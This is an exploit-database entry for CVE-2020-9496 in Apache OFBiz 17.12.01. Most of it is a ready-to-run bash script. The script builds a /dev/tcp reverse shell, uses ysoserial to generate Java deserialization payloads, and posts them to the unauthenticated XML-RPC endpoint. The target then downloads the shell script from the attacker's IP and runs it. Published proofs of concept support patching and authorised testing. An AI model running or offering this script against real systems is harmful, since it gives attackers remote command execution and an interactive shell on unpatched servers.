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Apache OfBiz 17.12.01 Remote Command Execution

Apache OfBiz 17.12.01 Remote Command Execution
Posted Aug 4, 2021
Authored by Alvaro Munoz, Adrian Diaz

Apache OfBiz version 17.12.01 exploit that achieves remote command execution via unsafe deserialization of XMLRPC arguments.

tags | exploit, remote
advisories | CVE-2020-9496
MD5 | 07f89d52abae2b38026ae4fcd1039ddf

Apache OfBiz 17.12.01 Remote Command Execution

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# Exploit Title: ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) via Unsafe Deserialization of XMLRPC arguments
# Date: 2021-08-04
# Exploit Author: Álvaro Muñoz, Adrián Díaz (s4dbrd)
# Vendor Homepage: https://ofbiz.apache.org/index.html
# Software Link: https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
# Version: 17.12.01
# Tested on: Linux

# CVE : CVE-2020-9496

# Reference: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

# Description: This CVE was discovered by Alvaro Muñoz, but I have created this POC to automate the process and the necessary requests to successfully exploit it and get RCE.

#!/usr/bin/env bash

# Because the 2 xmlrpc related requets in webtools (xmlrpc and ping) are not using authentication they are vulnerable to unsafe deserialization.
# This issue was reported to the security team by Alvaro Munoz pwntester@github.com from the GitHub Security Lab team.
#
# This vulnerability exists due to Java serialization issues when processing requests sent to /webtools/control/xmlrpc.
# A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation would result in arbitrary code execution.
#
# Steps to exploit:
#
# Step 1: Host HTTP Service with python3 (sudo python3 -m http.server 80)
# Step 2: Start nc listener (Recommended 8001).
# Step 3: Run the exploit.


url='https://127.0.0.1' # CHANGE THIS
port=8443 # CHANGE THIS

function helpPanel(){
echo -e "\nUsage:"
echo -e "\t[-i] Attacker's IP"
echo -e "\t[-p] Attacker's Port"
echo -e "\t[-h] Show help pannel"
exit 1
}


function ctrl_c(){
echo -e "\n\n[!] Exiting...\n"
exit 1
}
# Ctrl + C
trap ctrl_c INT

function webRequest(){
echo -e "\n[*] Creating a shell file with bash\n"
echo -e "#!/bin/bash\n/bin/bash -i >& /dev/tcp/$ip/$ncport 0>&1" > shell.sh
echo -e "[*] Downloading YsoSerial JAR File\n"
wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar
echo -e "[*] Generating a JAR payload\n"
payload=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n")
echo -e "[*] Sending malicious shell to server...\n" && sleep 0.5
curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null
echo -e "[*] Generating a second JAR payload"
payload2=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n")
echo -e "\n[*] Executing the payload in the server...\n" && sleep 0.5
curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload2</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null
echo -e "\n[*]Deleting Files..."
rm ysoserial-master-d367e379d9-1.jar && rm shell.sh
}

declare -i parameter_enable=0; while getopts ":i:p:h:" arg; do
case $arg in
i) ip=$OPTARG; let parameter_enable+=1;;
p) ncport=$OPTARG; let parameter_enable+=1;;
h) helpPanel;;
esac
done

if [ $parameter_enable -ne 2 ]; then
helpPanel
else
webRequest
fi
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